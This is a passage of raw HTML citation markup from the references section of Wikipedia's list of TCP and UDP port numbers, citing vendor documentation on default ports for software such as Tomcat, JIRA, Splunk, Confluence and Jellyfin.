title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=pve.proxmox.com&amp;rft.atitle=Proxmox+VE+Firewall+-+Ports+used+by+Proxmox+VE&amp;rft_id=https%3A%2F%2Fpve.proxmox.com%2Fpve-docs%2Fchapter-pve-firewall.html%23_ports_used_by_proxmox_ve&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-matrix-homeserver-285\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-matrix-homeserver_285-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-matrix-homeserver_285-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://matrix.org/docs/guides/faq#what-ports-do-i-have-to-open-up-to-join-the-global-matrix-federation%3F\">\"FAQ\"</a>. <i>matrix.org</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2019-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=matrix.org&amp;rft.atitle=FAQ&amp;rft_id=https%3A%2F%2Fmatrix.org%2Fdocs%2Fguides%2Ffaq%23what-ports-do-i-have-to-open-up-to-join-the-global-matrix-federation%253F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-odoo-doc-5.0-install-linux-web-286\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-odoo-doc-5.0-install-linux-web_286-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-odoo-doc-5.0-install-linux-web_286-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doc.odoo.com/5.0/install/linux/web/\">\"OpenERP Web Installation\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://doc.odoo.com/5.0/\"><i>OpenERP Documentation</i></a> (5.0&#160;ed.) (published 2017-02-12). n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170212140341/https://doc.odoo.com/5.0/install/linux/web/\">Archived</a> from the original on 2017-02-12<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-02-12</span></span>. <q>...&#160;<var>port</var> is the OpenERP server port which is by default 8070 for NET-RPC or 8069 for XML(S)-RPC. The web server itself listens by default on port 8080&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=OpenERP+Web+Installation&amp;rft.btitle=OpenERP+Documentation&amp;rft.edition=5.0&amp;rft_id=https%3A%2F%2Fdoc.odoo.com%2F5.0%2Finstall%2Flinux%2Fweb%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-287\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-287\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFBrittainDarwin2007\" class=\"citation book cs1\">Brittain, Jason; Darwin, Ian F (2007). <a rel=\"nofollow\" class=\"external text\" href=\"https://www.oreilly.com/library/view/tomcat-the-definitive/9780596101060/ch02s03.html\">\"Changing the Port Number from 8080\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://proquest.safaribooksonline.com/9780596101060\"><i>Tomcat: The Definitive Guide</i></a>. Sebastopol, CA, US: <a href=\"/wiki/O%27Reilly_Media\" title=\"O&#39;Reilly Media\">O'Reilly</a>. <a href=\"/wiki/ISBN_(identifier)\" class=\"mw-redirect\" title=\"ISBN (identifier)\">ISBN</a>&#160;<a href=\"/wiki/Special:BookSources/9780596101060\" title=\"Special:BookSources/9780596101060\"><bdi>9780596101060</bdi></a>. <a href=\"/wiki/OCLC_(identifier)\" class=\"mw-redirect\" title=\"OCLC (identifier)\">OCLC</a>&#160;<a rel=\"nofollow\" class=\"external text\" href=\"//www.worldcat.org/oclc/180989275\">180989275</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-10-18</span></span>. <q>Tomcat, in a default installation, is configured to listen on port 8080 rather than the conventional web server port number 80.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Changing+the+Port+Number+from+8080&amp;rft.btitle=Tomcat%3A+The+Definitive+Guide&amp;rft.place=Sebastopol%2C+CA%2C+US&amp;rft.pub=O%27Reilly&amp;rft.date=2007&amp;rft_id=info%3Aoclcnum%2F180989275&amp;rft.isbn=9780596101060&amp;rft.aulast=Brittain&amp;rft.aufirst=Jason&amp;rft.au=Darwin%2C+Ian+F&amp;rft_id=https%3A%2F%2Fwww.oreilly.com%2Flibrary%2Fview%2Ftomcat-the-definitive%2F9780596101060%2Fch02s03.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-atlassian-jira-071-tcp-ports-288\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-atlassian-jira-071-tcp-ports_288-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://confluence.atlassian.com/adminjiraserver071/changing-jira-application-tcp-ports-802593049.html\">\"Changing JIRA application TCP ports\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://confluence.atlassian.com/adminjiraserver071/\"><i>Administering JIRA applications 7.1</i></a>. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170212143908/https://confluence.atlassian.com/adminjiraserver071/changing-jira-application-tcp-ports-802593049.html\">Archived</a> from the original on 2017-02-12<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-02-12</span></span>. <q>...&#160;By default, JIRA applications use TCP listening port 8080 and hence, JIRA applications are typically available at <code>http://&lt;yourserver&gt;:8080</code>.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Changing+JIRA+application+TCP+ports&amp;rft.btitle=Administering+JIRA+applications+7.1&amp;rft_id=https%3A%2F%2Fconfluence.atlassian.com%2Fadminjiraserver071%2Fchanging-jira-application-tcp-ports-802593049.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-289\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-289\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=8081\">\"IANA - Service Name and Transport Protocol Port Number Registry\"</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=IANA+-+Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2Fservice-names-port-numbers.xhtml%3Fsearch%3D8081&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-290\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-290\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://docs.splunk.com/Documentation/Splunk/6.6.3/Admin/Webconf\">\"web.conf\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"http://docs.splunk.com/Documentation/Splunk/6.6.3/Admin\"><i>Splunk® Enterprise Admin Manual</i></a> (6.6.3&#160;ed.). <a href=\"/wiki/Splunk\" title=\"Splunk\">Splunk</a>. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170823063902/http://docs.splunk.com/Documentation/Splunk/6.6.3/Admin/Webconf\">Archived</a> from the original on 2017-08-23<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-08-23</span></span>. <q>...&#160;The following are the spec and example files for <code>web.conf</code>.&#160;...&#160;Location of <code>splunkd</code>.&#160;...&#160;Defaults to <code>127.0.0.1:8089</code>.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=web.conf&amp;rft.btitle=Splunk%C2%AE+Enterprise+Admin+Manual&amp;rft.edition=6.6.3&amp;rft.pub=Splunk&amp;rft_id=http%3A%2F%2Fdocs.splunk.com%2FDocumentation%2FSplunk%2F6.6.3%2FAdmin%2FWebconf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-avm-fritzbox-7490-port-8089-291\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-avm-fritzbox-7490-port-8089_291-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170712053500/https://en.avm.de/service/fritzbox/fritzbox-7490/knowledge-base/publication/show/1472_How-is-the-FRITZ-Box-protected-from-attacks-against-port-8089/\">\"How is the FRITZ!Box protected from attacks against port 8089?\"</a>. <i><a href=\"/wiki/AVM_GmbH\" title=\"AVM GmbH\">AVM</a></i>. 2016-02-05. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://en.avm.de/service/fritzbox/fritzbox-7490/knowledge-base/publication/show/1472_How-is-the-FRITZ-Box-protected-from-attacks-against-port-8089/\">the original</a> on 2017-07-12<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-07-06</span></span>. <q>...&#160;The FRITZ!Box supports the TR-069 protocol&#160;...&#160;If necessary, the service provider's Auto Configuration Server (ACS) contacts the FRITZ!Box over TCP port 8089 using a URI (Uniform Resource Identifier) that was previously negotiated.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=AVM&amp;rft.atitle=How+is+the+FRITZ%21Box+protected+from+attacks+against+port+8089%3F&amp;rft.date=2016-02-05&amp;rft_id=https%3A%2F%2Fen.avm.de%2Fservice%2Ffritzbox%2Ffritzbox-7490%2Fknowledge-base%2Fpublication%2Fshow%2F1472_How-is-the-FRITZ-Box-protected-from-attacks-against-port-8089%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-atlassian-confluence-6.0-doc-listen-port-292\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-atlassian-confluence-6.0-doc-listen-port_292-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://confluence.atlassian.com/doc/change-listen-port-for-confluence-165823.html\">\"Change listen port for Confluence\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://confluence.atlassian.com/doc/\"><i>Confluence Server documentation</i></a> (6.0&#160;ed.)<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-02-12</span></span>. <q>...&#160;If you see this error:&#160;...&#160;This means you are running other software on Confluence's default port of 8090.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Change+listen+port+for+Confluence&amp;rft.btitle=Confluence+Server+documentation&amp;rft.edition=6.0&amp;rft_id=https%3A%2F%2Fconfluence.atlassian.com%2Fdoc%2Fchange-listen-port-for-confluence-165823.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-coralcdn-wiki-faq-293\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-coralcdn-wiki-faq_293-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation encyclopaedia cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://wiki.coralcdn.org/faq.html\">\"Frequently asked questions\"</a>. <i>Coral Content Distribution Network Wiki</i>. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170212152632/http://wiki.coralcdn.org/faq.html\">Archived</a> from the original on 2017-02-12<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-02-12</span></span>. <q>...&#160;you can now access CoralCDN through ports 80, 8080, and 8090.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Frequently+asked+questions&amp;rft.btitle=Coral+Content+Distribution+Network+Wiki&amp;rft_id=http%3A%2F%2Fwiki.coralcdn.org%2Ffaq.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-couchbase-dev-doc-server-ports-294\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-couchbase-dev-doc-server-ports_294-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-couchbase-dev-doc-server-ports_294-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://developer.couchbase.com/documentation/server/current/install/install-ports.html\">\"Network Configuration\"</a>. <i>CouchBase Developer Portal</i>. 2017. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170212153626/https://developer.couchbase.com/documentation/server/current/install/install-ports.html\">Archived</a> from the original on 2017-02-12<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-02-12</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=CouchBase+Developer+Portal&amp;rft.atitle=Network+Configuration&amp;rft.date=2017&amp;rft_id=https%3A%2F%2Fdeveloper.couchbase.com%2Fdocumentation%2Fserver%2Fcurrent%2Finstall%2Finstall-ports.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-:1-295\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-:1_295-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-:1_295-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://jellyfin.org/docs/general/networking/index.html\">\"Networking | Documentation - Jellyfin Project\"</a>. <i>jellyfin.org</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-08-29</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=jellyfin.org&amp;rft.atitle=Networking+%7C+Documentation+-+Jellyfin+Project&amp;rft_id=https%3A%2F%2Fjellyfin.org%2Fdocs%2Fgeneral%2Fnetworking%2Findex.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-BURST-296\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-BURST_296-0\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/burst-apps-team/burstcoin\">BURST Reference Software</a></span>\n</li>\n<li id=\"cite_note-297\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-297\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iis.net/learn/manage/remote-administration/remote-administration-for-iis-manager#02\">\"Remote Administration for IIS Manager\"</a>. <i>iis.net</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">16 March</span> 2015</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=iis.net&amp;rft.atitle=Remote+Administration+for+IIS+Manager&amp;rft_id=http%3A%2F%2Fwww.iis.net%2Flearn%2Fmanage%2Fremote-administration%2Fremote-administration-for-iis-manager%2302&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-Bloomberg_TS-298\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-Bloomberg_TS_298-0\">^</a></b></span> <span class=\"reference-text\">\n<link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://assets.bbhub.io/professional/sites/10/BBG_Network_Connectivity_Guide.pdf\">\"Bloomberg Network Connectivity Guide\"</a> <span class=\"cs1-format\">(PDF)</span>. <i><a href=\"/wiki/Bloomberg_News\" title=\"Bloomberg News\">Bloomberg News</a></i>. 2022<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">7 October</span> 2022</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Bloomberg+News&amp;rft.atitle=Bloomberg+Network+Connectivity+Guide&amp;rft.date=2022&amp;rft_id=https%3A%2F%2Fassets.bbhub.io%2Fprofessional%2Fsites%2F10%2FBBG_Network_Connectivity_Guide.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-vmware-server-2.0-rc2-releasenotes-299\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-vmware-server-2.0-rc2-releasenotes_299-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-vmware-server-2.0-rc2-releasenotes_299-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.vmware.com/products/beta/vmware_server/releasenotes_vmserver2.html\">\"VMware Server 2.0 RC 2 Release Notes\"</a>. <i>VMware Documentation</i>. VMware (published 2008-08-26). 2008-08-19. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170906040259/https://www.vmware.com/products/beta/vmware_server/releasenotes_vmserver2.html\">Archived</a> from the original on 2017-09-06<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-09-04</span></span>. <q>...&#160;The default VI Web Access HTTP connection port is 8222 and the default HTTPS port is 8333.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=VMware+Documentation&amp;rft.atitle=VMware+Server+2.0+RC+2+Release+Notes&amp;rft.date=2008-08-19&amp;rft_id=https%3A%2F%2Fwww.vmware.com%2Fproducts%2Fbeta%2Fvmware_server%2Freleasenotes_vmserver2.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-Apache_Synapse-300\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-Apache_Synapse_300-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-Apache_Synapse_300-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://synapse.apache.org\">\"Apache Synapse\"</a>. apache.org. 2012-01-06<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Apache+Synapse&amp;rft.pub=apache.org&amp;rft.date=2012-01-06&amp;rft_id=http%3A%2F%2Fsynapse.apache.org&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-DynDNS_API-301\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-DynDNS_API_301-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://help.dyn.com/remote-access-api/checkip-tool/\">\"Remote Access Update API - CheckIP Tool FAQ\"</a>. dyn.com<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2015-08-21</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Remote+Access+Update+API+-+CheckIP+Tool+FAQ&amp;rft.pub=dyn.com&amp;rft_id=https%3A%2F%2Fhelp.dyn.com%2Fremote-access-api%2Fcheckip-tool%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-302\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-302\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20140628220318/http://wiki.mikrotik.com/wiki/Manual:IP/Services\">\"MikroTik Wiki \"IP/Services\" page\"</a>. MikroTik. 2014-01-02. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://wiki.mikrotik.com/wiki/Manual:IP/Services\">the original</a> on 2014-06-28<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-06-23</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=MikroTik+Wiki+%22IP%2FServices%22+page&amp;rft.pub=MikroTik&amp;rft.date=2014-01-02&amp;rft_id=http%3A%2F%2Fwiki.mikrotik.com%2Fwiki%2FManual%3AIP%2FServices&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-303\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-303\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.bitcoin.org/smf/index.php?topic=63.msg452#msg452\">Bitcoin Forum: Command Line and JSON-RPC</a><sup class=\"noprint Inline-Template\"><span style=\"white-space: nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Link_rot\" title=\"Wikipedia:Link rot\"><span title=\"&#160;Dead link tagged June 2016\">dead link</span></a></i>&#93;</span></sup></span>\n</li>\n<li id=\"cite_note-ReferenceA-304\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-ReferenceA_304-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-ReferenceA_304-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://en.bitcoin.it/wiki/FAQ#Do_I_need_to_configure_my_firewall_to_run_Bitcoin.3F\">\"FAQ - Bitcoin\"</a>. En.bitcoin.it. 2014-12-12<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2015-01-01</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=FAQ+-+Bitcoin&amp;rft.pub=En.bitcoin.it&amp;rft.date=2014-12-12&amp;rft_id=https%3A%2F%2Fen.bitcoin.it%2Fwiki%2FFAQ%23Do_I_need_to_configure_my_firewall_to_run_Bitcoin.3F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-305\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-305\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.filestash.app/\">\"Filestash server\"</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Filestash+server&amp;rft_id=http%3A%2F%2Fwww.filestash.app%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-306\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-306\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.visualsvn.com/support/topic/00073/\">\"Enabling the inbound firewall rule for a master VDFS service - VisualSVN Help Center\"</a>. <i>visualsvn.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">16 March</span> 2015</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=visualsvn.com&amp;rft.atitle=Enabling+the+inbound+firewall+rule+for+a+master+VDFS+service+-+VisualSVN+Help+Center&amp;rft_id=http%3A%2F%2Fwww.visualsvn.com%2Fsupport%2Ftopic%2F00073%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-adobe-help-cf10-admin-307\"><span class=\"mw-cite-backlink\"><b><a 